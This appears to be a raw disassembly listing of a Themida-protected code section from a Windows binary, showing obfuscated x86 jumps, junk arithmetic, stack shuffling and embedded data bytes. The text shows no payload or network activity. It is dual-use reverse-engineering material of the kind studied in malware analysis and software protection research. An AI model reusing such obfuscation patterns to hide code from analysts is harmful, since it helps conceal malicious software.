		dd 0EB01C013h, 6FBD555Dh, 0E92FA45Fh, 6639h, 68C8B70Fh
		dd 68h,	7772E9h, 81E78900h, 4C7h, 4EF8100h, 57000000h
		dd 1315E9h, 89D08900h, 24048BC3h, 4C481h, 815A0000h, 7B3054EBh
		dd 5BD9895Ch, 34FFF101h, 0C4815E24h, 4,	51FDE181h, 8BE90E41h
		dd 57000094h, 7F085CBFh, 5FF931D1h, 0C8BCA31h, 4C48124h
		dd 57000000h, 0F989D789h, 2B11E95Fh, 0C4830000h, 24048704h
		dd 4FF665Ch, 0F6E99C24h, 6800000Eh, 0
		dd 58240429h, 31F03148h, 0E9F031C6h, 5BB9h, 8B242C87h
		dd 75E92424h
		db 50h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5448AF:				; CODE XREF: Themida_:005497CEj
		mov	[esp], edi
		mov	edi, 771D5509h
		push	eax
		mov	eax, 447B7863h
		sub	edi, eax
		pop	eax
		push	4A3Ch
		mov	[esp], eax
		mov	eax, 74FE450Ah
		jmp	loc_543EAB
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 4, 8704E983h, 895C240Ch, 0D4BE2434h,	4621C866h, 992FC681h
		dd 0C281DE37h, 25DB70F9h, 0EA81F201h, 25DB70F9h, 2C2815Eh
		dd 81000000h, 4ECh, 24148900h, 42474FFh, 8324148Bh, 48F04C4h
		dd 24248B24h, 108E9h, 4C18100h,	87000000h, 505C240Ch, 42474FFh
		dd 24048F58h, 0D324248Bh, 0E99C243Ch, 0FFFFF0E0h, 0ED81C501h
		dd 114946A4h, 69F9E958h, 0E9520000h, 2337h
; ---------------------------------------------------------------------------


loc_544954:				; CODE XREF: Themida_:0054C208j
		push	eax
		mov	eax, 2C2A6889h
		and	eax, 1DD046BCh
		xchg	eax, ecx
		neg	ecx
		xchg	eax, ecx
		and	eax, 55402213h
		shl	eax, 7
		dec	eax
		add	eax, 0CE3B4C74h
		mov	edi, eax
		pop	eax
		add	edi, 26DB409Ah
		jmp	loc_54DE4C
; ---------------------------------------------------------------------------
		db 83h
		dd 148704C2h, 0A59BE924h, 0F4BE0000h, 29284867h, 12055EF0h
		dd 532A0D33h, 0C381E389h, 4, 8704EB83h,	248B241Ch, 24348924h
		dd 0F86B0BBEh, 6591E932h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5449B6:				; CODE XREF: Themida_:005447B5j
		push	72D3h
		mov	[esp], ebx
		push	dword ptr [esp]
		jmp	loc_545B1B
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0E951240Ch, 566Eh, 0E9240431h, 0A057h
; ---------------------------------------------------------------------------


loc_5449D8:				; CODE XREF: Themida_:00545DFFj
		add	eax, ebx
		pop	ebx
		xchg	eax, [esp]
		mov	esp, [esp]
		pop	edx
		push	edi
		jmp	loc_5455C6
; ---------------------------------------------------------------------------


loc_5449E8:				; CODE XREF: Themida_:0054810Ej
		xor	ecx, 11CA159Dh
		push	edi
		mov	edi, 608379F1h
		dec	edi
		shl	edi, 7
		neg	edi
		xor	edi, 79B663DAh
		sub	edi, 0B72797F0h
		xor	ecx, edi
		pop	edi
		add	esi, ecx
		pop	ecx
		xchg	esi, [esp]
		pop	esp
		push	edx
		mov	edx, 60966D43h
		push	edi
		mov	edi, 7F1910B9h
		xor	edi, 4BA74235h
		and	edx, edi
		jmp	loc_54C717
; ---------------------------------------------------------------------------
		db 8, 4, 24h
aSI		db 'œé',9,'ˆ',0
		align 2


loc_544A32:				; CODE XREF: Themida_:00547B62j
		push	edx
		jmp	loc_546FB0
; ---------------------------------------------------------------------------


loc_544A38:				; CODE XREF: Themida_:00544B92j
		pop	edi
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_54F71C
; ---------------------------------------------------------------------------


loc_544A47:				; CODE XREF: Themida_:0054C699j
		mov	ebp, ecx
		pop	ecx
		mov	ecx, ebp
		pop	ebp
		push	edi
		mov	edi, 3D440298h
		jmp	loc_5495BC
; ---------------------------------------------------------------------------
		dd 0E9241C8Bh, 0FFFFFE1Eh, 516E68h, 24348900h, 24348B54h
		dd 4C481h, 0EC830000h, 241C8904h, 4BBh,	8D69E900h, 48400000h
		dd 2F5F0540h, 77354281h, 0E975A276h, 7E90h, 0FFE9DA89h
		dd 66000043h, 0E924048Bh, 5F43h, 5B04C483h, 0E9243C87h
		dd 0FFFFEF70h, 5BF800h,	0D0E952D8h, 5A000076h, 1DE9D801h
		db 0F0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_544AC3:				; CODE XREF: Themida_:005451C9j
		sub	eax, 318F0E44h
		pop	esi
		jmp	loc_54E615
; ---------------------------------------------------------------------------
aZaDz		db 'Z€ÃDZ',0
		dd 0FEEB80C3h, 78D868h,	241C8900h, 0A24BB9BBh, 7CE3815Fh
		dd 81363669h, 0CE71AFC3h, 0CFF38166h, 0E97CF0BAh, 0A2DEh
		dd 2A7D68h, 24348900h, 0D873EC68h, 2434FF54h, 0E389535Eh
		dd 4C381h, 0D5E90000h
		db 3Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_544B1B:				; CODE XREF: Themida_:005483A0j
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 0CC8DAC0Ch
		add	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		mov	ebp, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		and	ecx, ebp
		jmp	loc_545018
; ---------------------------------------------------------------------------
		dd 0E904C483h, 489Eh, 53242C89h, 3DDBA52h, 0D3894D44h
		dd 6B2CBD5Ah, 0DD299C54h, 0CFF5815Bh, 4D2CEA34h, 0B9ED814Dh
		dd 83240893h, 348904ECh, 585DBE24h, 0E9512FC7h,	4259h
		dd 0F0CDE9ADh, 95E9FFFFh
		db 0EEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_544B8B:				; CODE XREF: Themida_:0054895Aj
		push	ebp
		mov	ebp, 9FF1DFCAh
		push	ebp
		jmp	loc_544A38
; ---------------------------------------------------------------------------
		db 68h
		dd 76CDh, 0E9241489h, 7AD1h, 0DBF7D3F7h, 0A253E94Bh, 4AC0000h
		dd 0A805E94Ah, 74010000h, 0E95E0424h, 1975h, 292168h, 24148900h
		dd 1389E951h, 0DD010000h, 0A42EE95Bh, 55AD0000h, 43737EBDh
		dd 0FDED8152h, 0C14D0D08h, 0ED8104EDh, 70F94F46h, 4054C581h
		dd 0EE01837Fh, 88B9515Dh, 5369004Dh, 0AF7EC2BBh, 5BD92156h
		dd 4CE0E9h, 788C6800h, 34890000h, 81E68924h, 4C6h, 4CF26800h
		dd 0C890000h, 6C6FB924h, 0BB5354A1h, 75A909DDh,	5A9DF381h
		dd 1EE95435h, 8B00007Fh, 0C481242Ch, 4,	0EEC1EED1h, 0F7DEF708h
		dd 8BEE81D6h, 1003C18h,	0C875EF1h, 24248B24h, 24048B66h
		dd 213CE9h, 24D36600h, 0B5E99C24h
		db 0EDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_544C6B:				; CODE XREF: Themida_:0054A46Fj
		inc	edx
		shl	edx, 2
		sub	edx, 38264DCBh
		mov	edi, edx
		pop	edx
		jmp	loc_54F802
; ---------------------------------------------------------------------------


loc_544C7D:				; CODE XREF: Themida_:00545B8Dj
		mov	[esp], ebx
		mov	ebx, 1
		jmp	loc_547D18
; ---------------------------------------------------------------------------
		dw 0D25Ch
		dd 0E99C243Ch, 0FFFFED8Ch
; ---------------------------------------------------------------------------


loc_544C94:				; CODE XREF: Themida_:00549391j
		add	esp, 4
		add	esp, 4
		jmp	loc_54E754
; ---------------------------------------------------------------------------
aYSV		db 'Y(ØéØV',0
		dd 4EC8100h, 54000000h,	8124048Fh, 42404h, 565B0000h, 4BEh
		dd 14C38100h, 1649362h,	14EB81F3h, 0E9649362h, 1771h
; ---------------------------------------------------------------------------


loc_544CD8:				; CODE XREF: Themida_:0054CE16j
		and	edx, 243204DFh
		shl	edx, 7
		jmp	loc_54BDD4
; ---------------------------------------------------------------------------


loc_544CE6:				; CODE XREF: Themida_:00546CCCj
		mov	edi, 4
		add	ebx, edi
		pop	edi
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		shr	ecx, 0Ah
		jmp	loc_54DAE4
; ---------------------------------------------------------------------------


loc_544D00:				; CODE XREF: Themida_:0054935Aj
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp


loc_544D07:				; CODE XREF: Themida_:00544581j
					; Themida_:00545B05j
		push	dword ptr [esp]
		jmp	loc_546A70
; ---------------------------------------------------------------------------
		db 0BAh
		dd 45CC0A87h, 7CC28142h, 0E9BA33F5h, 1323h, 241C8966h
		dd 0B302B450h, 58E32837h, 604BA2Ch, 0D8008F04h,	62C8F2Ch
		dd 8B66BA04h, 0BB68241Ch, 8900006Ch, 5954240Ch,	4C181h
		dd 0D0E90000h, 0C100005Dh, 0AA0503E8h, 291D64C0h, 34FF4047h
		dd 0E9525824h, 14h
; ---------------------------------------------------------------------------


loc_544D68:				; CODE XREF: Themida_:0054AD62j
		sub	eax, ecx
		pop	ecx
		jmp	loc_545CFC
; ---------------------------------------------------------------------------
		dd 5C240C87h, 0E9242489h, 31B8h, 0C281E289h, 4,	0FFFBF6E9h
		dd 74FF51FFh, 0C8B0424h, 4C48324h, 8B24048Fh, 0E9C12424h
		dd 0FC00900h, 0FFFC1184h, 2C8153FFh, 56653124h,	2434FF19h
		dd 27FBE958h, 0E7890000h, 4C781h, 0E9560000h, 0FFFFFB8Ah
; ---------------------------------------------------------------------------


loc_544DC4:				; CODE XREF: Themida_:00544289j
		push	esp
		pop	ecx
		push	ebp
		mov	ebp, 696A3770h
		sub	ebp, 696A376Ch
		add	ecx, ebp
		jmp	loc_5447BA
; ---------------------------------------------------------------------------
		db 58h,	51h, 0B5h
		dd 0E9E828F4h, 6507h, 8B5DEB80h, 0C4812414h, 4,	0C380C328h
		dd 0D0EB80B6h, 0E9C0B60Fh, 946Ah, 5866C330h, 460B6866h
		dd 24148966h, 5FE9C0B2h, 81000098h, 0CEC011EFh,	5FF98900h
		dd 3B27F181h, 8DE92910h, 0B900001Ch, 5C7D3151h,	15DE931h
		dd 535659C8h, 4BBh, 5BDE8900h, 2C5E372Dh, 5F00108h, 82C5E37h
		dd 921CE95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_544E4E:				; CODE XREF: Themida_:0054D01Dj
		pop	eax
		add	eax, 4
		push	edx
		mov	edx, 4
		add	eax, edx
		pop	edx
		jmp	loc_54CDE9
; ---------------------------------------------------------------------------
		dw 0F181h
		dd 245B592Bh, 1D6FBA52h, 0D1295BA7h, 0A8C9815Ah, 0E904250Fh
		dd 8C41h, 0E9F4C980h, 0Eh, 81E78957h, 4C7h, 5E15E900h
		dd 0F1800000h, 0C4B45074h, 0F7E9E128h
		db 99h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_544E9F:				; CODE XREF: Themida_:00545B41j
		pop	esp
		jmp	loc_545C34
; ---------------------------------------------------------------------------
		db 55h,	0BDh, 0DBh
		dd 3152984Dh, 0C8015DE9h, 2C08359h, 0E9240433h,	0A394h
		dd 0C0E9F280h, 0C28004EAh, 5DC380A8h, 69FAE9h, 30D43000h
		dd 30DCF6E2h, 30D430E2h, 80DAF6E2h, 0C28042EAh,	5EA80B3h
		dd 30F1B151h, 240C8BCAh, 96A3E9h, 74FF5500h, 8F5D0424h
		dd 0E95C2404h, 0FFFFEB20h, 0EF40EB81h, 97E9FB8Fh
		db 69h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_544F0B:				; CODE XREF: Themida_:0054E216j
		add	ecx, 4
		jmp	loc_54C24A
; ---------------------------------------------------------------------------
		db 0B6h
		dd 2E6C00Ah, 0B3B45066h, 8B66E620h, 0C4812404h,	2, 98CCE9h
		dd 24048F00h, 99D0E9h, 2BE00h, 0E9810000h, 614B6A75h
		db 0E9h, 0BAh
word_544F42	dw 3Bh			; DATA XREF: ___:off_435E10o
		dd 4C38100h, 68000000h,	4BF7h, 0E9240489h, 292Ah, 559CE957h
		dd 0E9520000h, 0AC5Ch, 0E904C483h, 1692h, 5404EC83h, 8124048Fh
		dd 42404h, 148B0000h, 0EC815124h, 4, 24048F54h,	0FFF0D0E9h
		dd 2C77FFFFh, 0FFEA8BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_544F95:				; CODE XREF: Themida_:0054FA5Ej
		pop	ebp
		add	esp, 4
		jmp	loc_54E297
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 3C37080Ch, 0A0E8E9h
		db 0
; ---------------------------------------------------------------------------


loc_544FA9:				; CODE XREF: Themida_:00548DC3j
		add	edi, 8577411h
		add	edi, 7EAF1A69h
		add	edi, 68A1783h
		sub	ebp, edi
		pop	edi
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		add	dword ptr [esp], 1B0463AEh
		pop	ebx
		push	eax
		mov	eax, 63D756DDh
		jmp	loc_5474CE
; ---------------------------------------------------------------------------
		dd 89243C89h, 4C781E7h,	53000000h, 2BBh, 1EAD6800h, 2C890000h
		dd 815DE924h, 0A2B80000h, 403AC349h, 3713E9h, 4896600h
		dd 0EA16E924h, 9B35FFFFh, 9AFB0FCh, 0E94F58C7h,	207h
; ---------------------------------------------------------------------------


loc_545018:				; CODE XREF: Themida_:00544B3Fj
		pop	ebp
		shr	ecx, 7
		jmp	loc_54B8E4
; ---------------------------------------------------------------------------


loc_545021:				; CODE XREF: Themida_:0054A2B7j
		push	dword ptr [esp]
		pop	edx
		jmp	loc_547FAD
; ---------------------------------------------------------------------------


loc_54502A:				; CODE XREF: Themida_:005489E5j
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	edx
		push	esp
		pop	edx
		push	edi
		mov	edi, 1F9C2B2Eh
		sub	edi, 5ACF6EA5h
		not	edi
		jmp	loc_545D45
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 35F66631h, 0EE81FE01h, 35F66631h, 83243C8Bh,	7DE904C4h
		dd 5B00000Fh, 8B240C87h, 0C5E92424h, 5D000069h,	8B5EF301h
		dd 54E92404h
		db 36h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54507B:				; CODE XREF: Themida_:00548693j
		mov	[esp], ebx
		pop	edx
		sub	esp, 4
		jmp	loc_543B90
; ---------------------------------------------------------------------------


loc_54508A:				; CODE XREF: Themida_:00546A71j
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[esp], eax
		push	esi
		push	5BEF6C87h
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_54AF69
; ---------------------------------------------------------------------------
aLS8		db '‹$$é8 ',0
		align 4
		dd 83243C8Bh, 0D18904C4h, 88D9015Ah, 1C8B5901h,	7D59E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5450C2:				; CODE XREF: Themida_:0054F602j
		shl	ebx, 4
		jmp	loc_54E665
; ---------------------------------------------------------------------------
		dw 0BF57h
		dd 4, 685FFA01h, 2462h,	0FF241489h, 8B042474h, 0C4812414h
		dd 4, 8B24048Fh, 2DE92424h, 0FFFFE9h, 0D0005BF8h, 0FFF311E9h
		dd 0E9CA20FFh, 5272h, 9D1C77FFh, 24041958h, 0E90EE99Ch
		dd 875BFFFFh, 0F7EA87DAh, 35E2E9D5h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54511E:				; CODE XREF: Themida_:0054D266j
		push	27DBh
		mov	[esp], esi
		push	ebx
		push	eax
		jmp	loc_549AA4
; ---------------------------------------------------------------------------
		db 0BEh, 4, 0
		dd 0F5010000h, 2C5815Eh, 87000000h, 665C242Ch, 0E924048Bh
		dd 55D9h, 0AB087BBFh, 5FF82957h, 4E4268h, 24348900h, 0BB3474BEh
		dd 0EEC1461Ah, 12BB5307h, 817BB51Fh, 5514DE3h, 8F7BE94Eh
		dd 34890000h, 61D2BE24h, 0DEF76617h, 0BA52h, 0F2290000h
		dd 7D14E952h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54518A:				; CODE XREF: Themida_:0054F45Fj
		or	esi, 0C2E2AFAh
		jmp	loc_545938
; ---------------------------------------------------------------------------
		db 81h,	0F6h, 7Dh
		dd 29047656h, 0FB015EF3h, 426FC381h, 0D9E90C27h, 5A000098h
		dd 93E9CA30h, 81000099h, 0B92153F7h, 0E9FA010Dh, 44B0h
; ---------------------------------------------------------------------------


loc_5451C0:				; CODE XREF: Themida_:0054B772j
		push	esi
		add	dword ptr [esp], 318F0E44h
		pop	eax
		jmp	loc_544AC3
; ---------------------------------------------------------------------------
		dw 5E68h
		dd 8900007Fh, 0EC81241Ch, 4, 8CE6E9h, 0D12C00h,	4182E9D0h
		dd 6E680000h, 0E9000053h, 8A7Dh
; ---------------------------------------------------------------------------


loc_5451F4:				; CODE XREF: Themida_:0054AE94j
		sub	[esp+4], ecx
		jmp	loc_545DD7
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 0F85AE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_545206:				; CODE XREF: Themida_:00549009j
		pop	eax
		mov	esi, ebx
		pop	ebx
		shr	esi, 4
		jmp	loc_547928
; ---------------------------------------------------------------------------


loc_545212:				; CODE XREF: Themida_:005498C7j
		add	esp, 4
		mov	eax, edi
		jmp	loc_548322
; ---------------------------------------------------------------------------
		db 4Fh
		dd 4665B951h, 0E9816812h, 5980E545h, 0E959CF31h, 9275h
		dd 68h,	240C2900h, 8305E9h, 0E9028F00h,	0FFFFE7D8h
; ---------------------------------------------------------------------------


loc_545248:				; CODE XREF: Themida_:00543C82j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		xor	edx, 605F3CE3h
		sub	esp, 4
		jmp	loc_54E8BF
; ---------------------------------------------------------------------------
		dd 5C241C87h, 8702C083h, 248B2404h, 48B6624h, 7F616824h
		dd 4890000h, 4EC8324h, 81242489h, 42404h, 68580000h, 7C67h
		dd 0BA241489h, 4, 82E9D001h, 81000002h,	7C4976F1h, 59C8014Ah
		dd 57241C8Bh, 3FE9E789h, 89000034h, 54512434h, 30A2E959h
		dd 0C4810000h, 4, 83241C8Bh, 0F79304C4h, 5B5053D0h, 0E9535758h
		dd 23D4h, 4925F281h, 0D389967Ch, 51FB015Ah, 0A4BD5552h
		dd 0E942A140h, 8252h
; ---------------------------------------------------------------------------


loc_5452EC:				; CODE XREF: Themida_:00549B79j
		add	ah, 9Eh
		jmp	loc_54A49B
; ---------------------------------------------------------------------------
		dd 612DF801h, 8B114F3Eh, 0C483243Ch, 0E8E95004h, 87000030h
		dd 295C242Ch, 241C8BD8h, 0FFFC4FE9h, 0E0C280FFh, 0B7E9CA00h
		dd 89FFFFEDh, 4C581E5h,	83000000h, 2C3304C5h, 242C3124h
		dd 8B242C33h, 15E92424h, 66000052h, 83240C8Bh, 148904ECh
		dd 69F2E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54534A:				; CODE XREF: Themida_:0054C8BEj
		add	esp, 4


loc_545350:				; DATA XREF: ___:off_43D394o
		mov	[edi+20h], ebx
		jmp	loc_546731
; ---------------------------------------------------------------------------


loc_545358:				; CODE XREF: Themida_:00547620j
		mov	[esp], ebx
		push	esi
		push	53332B6Ah
		mov	esi, [esp]
		add	esp, 4
		mov	ebx, 9AC55BD3h
		sub	ebx, esi
		jmp	loc_5483A5
; ---------------------------------------------------------------------------
		dw 0B850h
		dd 4, 909FE9h, 9AC68100h, 2968000Fh, 875A5EF1h,	248B240Ch
		dd 4A30F24h, 85E99C24h,	0BAFFFFE6h, 4, 9CE9D701h, 81000012h
		dd 4C7h, 5CC76800h, 0C890000h, 4D8FB924h, 0E9492B3Fh, 439Ah
		dd 40558h, 42D0000h, 87000000h,	0CFE92404h, 0F7000043h
		dd 81D5F7DDh, 511442F5h, 52ED810Fh, 1D611F8h, 0FCE95DEFh
		dd 8B00001Eh, 0C483240Ch, 3E1C104h, 81E78957h, 4C7h, 0F161E900h
		dd 14F7FFFFh, 0FD08E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54540A:				; CODE XREF: Themida_:0054695Dj
		push	ebp
		push	631Bh
		mov	[esp], esp
		jmp	loc_54B234
; ---------------------------------------------------------------------------


loc_545418:				; CODE XREF: Themida_:005495B7j
		add	esp, 4
		push	edx
		jmp	loc_543E20
; ---------------------------------------------------------------------------
		db 81h,	0F3h, 53h
		dd 811A2005h, 12FB89EBh, 5BDD09D1h, 0CD81D5F7h,	377C5A48h
		dd 31DAF581h, 0EA01D656h, 3239E95Dh, 0C42C0000h, 0F800712Ch
		dd 52517104h, 0D1887BB2h, 7FA1E95Ah, 0B5510000h, 59E82835h
		dd 2ADE9h, 0D0C0BD00h, 0DD01C63Bh, 8BE9895Bh, 0C481242Ch
		dd 4, 4EC1E981h, 0E1C15DD6h, 36AEE905h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_545486:				; CODE XREF: Themida_:00547A30j
		mov	eax, 0D1B7D44Ch
		sub	ecx, eax
		pop	eax
		add	ebx, ecx
		pop	ecx
		jmp	loc_54D960
; ---------------------------------------------------------------------------
		dw 815Eh
		dd 6F04E4C7h, 6716E96Dh, 81580000h, 4C4h, 243C3300h, 33243C31h
		dd 3E9243Ch
		db 0Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5454B7:				; CODE XREF: Themida_:00548E95j
		mov	[esp], ebx
		push	ecx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 3DBB4628h
		mov	ecx, esi
		pop	esi
		push	1C25h
		mov	[esp], ebp
		push	387A78F2h
		mov	ebp, [esp]
		add	esp, 4
		or	ebp, 505772FCh
		shr	ebp, 1
		push	esi
		push	ebp
		mov	ebp, 41F03B7Dh
		sub	ebp, 419C532Bh
		not	ebp
		jmp	loc_547830
; ---------------------------------------------------------------------------
		dw 4BDh
		dd 1000000h, 5D04246Ch,	4BD5559h, 1000000h, 0BB535DE9h
		dd 4, 84E3E9h, 57565A00h, 321BE9h, 87A6800h, 815F0A06h
		dd 60878F7h, 5FFE890Ah,	30A8E9h
		db 0
; ---------------------------------------------------------------------------


loc_545539:				; CODE XREF: Themida_:0054799Bj
		shr	ebx, 7
		push	esi
		mov	esi, 61AC71F7h
		not	esi
		or	esi, 2D507F7h
		shr	esi, 1
		push	ecx
		mov	ecx, 4C9B64D4h
		or	esi, ecx
		pop	ecx
		sub	esi, 6819048Eh
		xor	esi, 0E792135Ch
		add	ebx, 10FB5C2Ch
		sub	ebx, esi
		push	ecx
		mov	ecx, 10FB5C2Ch
		sub	ebx, ecx
		pop	ecx
		jmp	loc_54DA0B
; ---------------------------------------------------------------------------
		db 33h
		dd 248B240Ch, 302CE924h, 0E2C00000h, 0BACA8003h, 88BCF280h
		dd 0C1005AD1h, 8324048Bh, 0E98004C4h, 59C830E9h, 23B45066h
		dd 82C380h, 82B151E3h, 6659CB28h, 4CEB8058h, 54F4E9h, 0FBE5600h
		dd 81313562h, 0F3C18EEh, 58BBE914h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5455C6:				; CODE XREF: Themida_:005449E3j
		mov	edi, esp
		push	esi
		mov	esi, 5D925FCBh
		xor	esi, 36157F28h
		neg	esi
		xor	esi, 9478DF19h
		add	edi, esi
		pop	esi
		sub	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], edi
		push	1E051C71h
		pop	edi
		jmp	loc_54B4DD
; ---------------------------------------------------------------------------
aSsnx		db 'Séx',0
		align 4


loc_5455FC:				; CODE XREF: Themida_:00546910j
		and	eax, edx
		jmp	loc_54BBE7
; ---------------------------------------------------------------------------
		db 0BEh
		dd 2, 348BF501h, 4C48124h, 33000000h, 2C31242Ch, 242C3324h
		dd 6624248Bh, 2404A30Fh, 0E3F6E99Ch, 0CEBAFFFFh, 816B7558h
		dd 0B82CAAE2h, 2E2C115h, 8E3DE9h, 685800h, 0FF000000h
		dd 1C8B2434h, 4C48124h,	50000000h, 8904EC83h, 4832424h
		dd 48B0424h, 4C48324h, 697B951h, 0C981168Eh, 51021426h
		dd 0E94DC181h, 0C801A871h, 9C65E9h, 4836600h, 8F660224h
		dd 9FE92404h, 0FF000016h, 48B2434h, 4EC8324h, 9C7CE9h
		dd 0EB815900h, 4, 31241C33h, 1C33241Ch,	24248B24h, 89240C89h
		dd 4C181E1h, 56000000h,	8A4A3FBEh, 4EE4E94Dh, 315F0000h
		dd 0EA895FFDh, 599DE95Dh, 0C3040000h, 8324148Bh, 3E904C4h
		dd 900008Eh, 6FCCE9D5h,	815E0000h, 7C21242Ch, 4292C5Eh
		dd 24048124h, 2C5E7C21h, 11242C81h, 560F6D4Fh, 313EEABEh
		dd 2474295Fh, 0A2C9E904h, 26B20000h, 0D0283EB0h, 3CCBE95Ah
		dd 0B6520000h, 50DEF6CEh, 0C8FEF088h, 7F8EE9h, 63BA5200h
		dd 0E92CB01Bh, 0FFFFFFABh, 5E2434FFh, 4C481h, 0D2E90000h
		dd 6600001Dh, 5724048Bh, 3611E9h, 815F5D00h, 941F56EFh
		dd 81F7010Ah, 941F56C7h, 24348B0Ah, 4C481h, 6DE90000h
		dd 81000057h, 21522AC2h, 28EA8179h, 8161BC70h, 491313EEh
		dd 0E9D6010Eh, 8A6Fh, 2C78358h,	85C3E9h, 0E296E900h, 1405FFFFh
		dd 0E9EA3DAEh, 0FFFFEE94h, 36A7E981h, 0E9C1219Eh, 0EB31E904h
		dd 77FFFFFFh, 58669D1Ch, 24041166h, 0E26EE99Ch,	0C8BFFFFh
		dd 4C48324h, 0E958C788h, 74EDh,	0FDEFE953h, 1C87FFFFh
		dd 24248B24h, 9C2404D3h, 0FFE24BE9h, 34FF54FFh,	9D51E924h
		dd 87250000h, 50A6302h,	0A4D2D60Dh, 0E958C201h,	1368h
		dd 0FFE22BE9h, 2434FFFFh, 4EC815Fh, 0E9000000h,	2EDFh
		dd 895DEF89h, 2434FFF9h, 4C4835Fh, 4CB6E949h, 0EE200000h
		dd 0E6805966h, 0E77AE988h, 7005FFFFh, 2D372C72h, 2B2903E2h
		dd 1170E9h, 0AAB05000h,	70D2E9h, 241CF600h, 9BFBE99Ch
		dd 0CD30000h, 0D5E99C24h, 81FFFFE1h, 0EF1F20F3h, 2DE3BE10h
		dd 0EE8173E6h, 31343213h, 9D0EE9h
		db 0
; ---------------------------------------------------------------------------


loc_545861:				; CODE XREF: Themida_:00548123j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		xor	cl, 4
		jmp	loc_54D96B
; ---------------------------------------------------------------------------
		dd 9C242CD3h, 0FFE19FE9h, 5FE953FFh, 88000061h,	5AD188E2h
		dd 59CE0858h, 3075F680h, 0BBE95AF0h, 81FFFFE8h,	0FA0D8ACBh
		dd 52F6E94Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5458A6:				; CODE XREF: Themida_:0054E177j
		not	edx
		shl	edx, 8
		push	esi
		mov	esi, 3ABE5D40h
		dec	esi
		not	esi
		push	ecx
		mov	ecx, 387F6325h
		sub	esi, ecx
		jmp	loc_54EEDB
; ---------------------------------------------------------------------------


loc_5458C1:				; CODE XREF: Themida_:00543E1Bj
		mov	ebp, 3A7F6634h
		neg	ebp
		inc	ebp
		sub	ebp, 883C9735h
		add	ebx, ebp
		pop	ebp
		pop	ecx
		sub	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_543A20
; ---------------------------------------------------------------------------
		db 0BDh, 0C3h, 63h
		dd 0EE016AE8h, 9081E9h,	81C52900h, 27778C5h, 0C7815845h
		dd 90A2B0Ch, 7AC3E9h, 242C8900h, 0C581E589h, 4,	0E904C583h
		dd 0FFFFF9E7h
; ---------------------------------------------------------------------------


loc_545920:				; CODE XREF: Themida_:0054642Dj
		xor	ebx, 699F7FECh
		add	ebp, ebx
		pop	ebx
		jmp	loc_54D209
; ---------------------------------------------------------------------------
		dw 0F766h
		dd 0E99C241Ch, 0FFFFE0E8h
; ---------------------------------------------------------------------------


loc_545938:				; CODE XREF: Themida_:00545190j
		add	esi, 0C9C09A0Bh
		add	ecx, esi
		pop	esi
		or	ecx, 700F7AD5h
		jmp	loc_54F927
; ---------------------------------------------------------------------------
		dd 4C281h, 0EA810000h, 4, 2474FF52h, 2434FF04h,	4C4835Ah
		dd 8B24048Fh, 36E92424h, 89000026h, 6AE9241Ch, 0FF000054h
		dd 0A1E94077h, 5BFFFFE0h, 8CE9C6FEh, 50000040h,	4B8h, 58C10100h
		dd 6C6ABA52h, 0EA813E35h, 574F74B9h, 42DB850h, 404844A9h
		dd 66650C0Dh, 692A057Ah, 88E918D4h, 5000004Fh, 4A3FD3B8h
		dd 7F53E921h, 68660000h, 896671B9h, 50662414h, 0E052E99Ch
		dd 0FA68FFFFh, 5D3D507Fh, 4246C01h, 40478F5Dh, 26BD5550h
		dd 6825793Dh, 3C5Fh, 0E9242C89h, 3E7Eh,	0FFE02BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5459F5:				; CODE XREF: Themida_:00549532j
		pop	ebx
		push	esi
		mov	esi, esp
		add	esi, 4
		push	edx
		mov	edx, 4
		add	esi, edx
		pop	edx
		xchg	esi, [esp]
		jmp	loc_54AE8C
; ---------------------------------------------------------------------------
aYaiAi3		db '(ÈY€ëÕ€ë3',0
		dw 80C3h
		dd 0CAE933C3h, 53000012h, 0C381E389h, 4, 4C381h, 1C870000h
		dd 96685C24h, 8900000Ch, 6DE9240Ch, 5B000070h, 0E9505166h
		dd 16A2h, 0E955B353h, 9C7Bh, 0FFDFC7E9h
